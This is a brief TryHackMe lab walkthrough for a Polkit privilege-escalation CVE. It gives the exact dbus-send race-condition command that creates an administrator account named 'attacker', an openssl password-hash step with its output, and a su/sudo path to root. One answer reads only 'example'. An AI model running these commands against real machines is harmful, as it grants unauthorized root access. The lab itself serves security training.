Knowledge Hub

Polkit_CVE

TryHackMe4 answered prompts

Polkit_CVE TryHackMe walkthrough with 4 answered prompts and lab methodology notes.

Prompts and answers

  • Let's try this. We need to send the dbus message, then kill it about halfway through:
    **dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!**
  • We need a password hash here, so let's generate a Sha512Crypt hash for our chosen password (Expl01ted):
    **openssl passwd -6 Expl01ted**
  • $6$Uo74kYkfXGSHgbCF$wBIJYbiSdtwSpjKTe6eEFT/N3mZszcjHIVXvRQgK6BnXz31sIHmWiV1bGteB/kHoEch.P6zYZ2xylkvYb/l9p1
    *
  • With a hop, su, and a sudo -s, we have root!
    **example**